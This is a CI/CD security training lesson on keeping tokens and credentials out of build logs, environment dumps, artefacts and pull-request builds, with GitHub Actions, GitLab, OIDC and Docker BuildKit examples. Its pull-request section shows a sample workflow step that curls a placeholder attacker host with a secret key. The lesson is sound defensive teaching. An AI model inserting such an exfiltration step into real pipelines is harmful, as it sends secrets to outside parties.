JustAppSec

Secrets in Pipelines

Keeping tokens, keys, and credentials safe throughout CI/CD workflows.

0:00

CI/CD pipelines need secrets to deploy code, push images, and interact with cloud services. Those same secrets are the most common thing attackers extract when they compromise a pipeline. This lesson covers how to provide secrets to pipelines safely and prevent them from leaking.

How secrets leak from pipelines

Build logs

The most common leak. A command echoes a secret, a debug statement prints environment variables, or a failing command includes credentials in its error output.

# This prints the password to the build log
echo "Connecting to database with password: $DB_PASSWORD"

# Even without explicit echo, some tools are verbose
curl -v https://user:[email protected]/data
# The -v flag shows the full URL including the embedded credential

Environment variable dumps

Many CI platforms set secrets as environment variables. A single env or printenv command in the pipeline exposes all of them:

# DO NOT DO THIS
- run: env | sort  # Exposes every secret in the environment

Artefact embedding

Secrets baked into build artefacts persist indefinitely:

  • Docker images with .env files or embedded secrets in layers
  • Configuration files with plaintext credentials included in deployment bundles
  • Build outputs that embed API keys (e.g., frontend builds with secrets in process.env)

Pull request exploitation

On many platforms, pull requests can trigger CI runs. If secrets are available during PR builds, an attacker can modify the CI config to exfiltrate them:

# Attacker's PR modifies the workflow
- run: curl https://attacker.com/steal?key=$SECRET_API_KEY

Cache and artefact poisoning

Shared CI caches can be modified by one job and read by another. An attacker who compromises a low-privilege job can inject a script into the cache that a high-privilege job later executes.

Providing secrets to pipelines

Use the platform's secret store

Every major CI platform has a secrets feature:

PlatformFeature
GitHub ActionsRepository / Environment / Organisation secrets
GitLab CICI/CD Variables (masked, protected)
JenkinsCredentials store
CircleCIContext secrets
Azure DevOpsVariable groups, Key Vault integration

Use these. Do not store secrets in the repository, in CI config files, or in plain environment variables in the platform's settings.

Scope secrets narrowly

By environment:

# GitHub Actions — production secrets only available in the production environment
jobs:
  deploy:
    environment: production
    steps:
      - run: ./deploy.sh
        env:
          DB_PASSWORD: ${{ secrets.PROD_DB_PASSWORD }}

By branch:

GitLab allows marking variables as "protected" so they are only available on protected branches (e.g., main). Feature branches and forks do not have access.

By job:

Inject secrets only into the specific job step that needs them:

steps:
  - name: Run tests
    run: npm test
    # No secrets needed — don't inject any

  - name: Deploy
    run: ./deploy.sh
    env:
      DEPLOY_KEY: ${{ secrets.DEPLOY_KEY }}

Use short-lived credentials

Instead of storing long-lived credentials, generate them on demand:

OIDC federation (GitHub Actions → AWS):

permissions:
  id-token: write

steps:
  - uses: aws-actions/configure-aws-credentials@v4
    with:
      role-to-assume: arn:aws:iam::123456789:role/deploy
      aws-region: eu-west-1

The pipeline receives a short-lived AWS token (valid for minutes) instead of a permanent access key. No secret is stored in the CI platform at all.

This is available for:

  • GitHub Actions → AWS, GCP, Azure
  • GitLab CI → AWS, GCP, Azure
  • CircleCI → AWS

External secrets managers

For complex setups, fetch secrets from a dedicated secrets manager at runtime:

- name: Get secrets
  run: |
    DB_PASSWORD=$(vault kv get -field=password secret/myapp/database)
    echo "::add-mask::$DB_PASSWORD"
    echo "DB_PASSWORD=$DB_PASSWORD" >> $GITHUB_ENV

Note the add-mask — this tells GitHub Actions to redact the value from all subsequent log output.

Preventing secret leaks in logs

Masking

CI platforms mask known secret values in log output. But derived values, substrings, and decoded versions may not be masked automatically.

# Explicitly mask derived values
- run: |
    TOKEN=$(echo ${{ secrets.ENCODED_TOKEN }} | base64 -d)
    echo "::add-mask::$TOKEN"

Audit what gets logged

Review your CI scripts for commands that might log secrets:

  • set -x in bash (logs every command, including those with secrets)
  • Verbose flags (curl -v, npm install --verbose)
  • Debug modes in tools (DEBUG=*)
  • Error output that includes connection strings

Redirect sensitive output

# Suppress output for commands that might log secrets
vault kv get secret/myapp > /dev/null 2>&1

Secrets in Docker builds

Docker builds have specific risks around secrets:

# BAD — secret is in a layer forever
ARG DB_PASSWORD
RUN echo "password=$DB_PASSWORD" > /app/config

# GOOD — BuildKit secret mount (not persisted in layers)
RUN --mount=type=secret,id=db_password \
    cat /run/secrets/db_password > /tmp/pw && \
    ./setup.sh && \
    rm /tmp/pw

With BuildKit secrets, the mounted file is available during the build step but is not written into the image layer.

Rotation and breach response

Rotation schedule

Rotate pipeline secrets regularly, even without a suspected breach:

  • API keys and tokens: every 90 days
  • Deployment credentials: every 30–90 days
  • Signing keys: annually or per major release

OIDC-based credentials do not need rotation (they are already short-lived).

If a secret leaks

  1. Revoke the secret immediately. Do not wait.
  2. Rotate to a new credential.
  3. Audit CI logs for the window the secret was exposed.
  4. Check for unauthorised usage of the leaked credential.
  5. Fix the root cause — why was the secret in the log / artefact / PR?

Summary

Pipeline secrets leak through build logs, environment dumps, artefact embedding, and pull request exploitation. Use your platform's secret store with narrow scoping (by environment, branch, and job). Prefer OIDC federation for cloud credentials — no stored secrets, no rotation required. Mask all secret values in logs, avoid verbose flags, and never embed secrets in Docker image layers. Rotate secrets on a schedule and revoke immediately when compromised.


This training content is AI-assisted and reviewed by our team, but issues may be missed and best practices evolve rapidly. Send corrections to [email protected].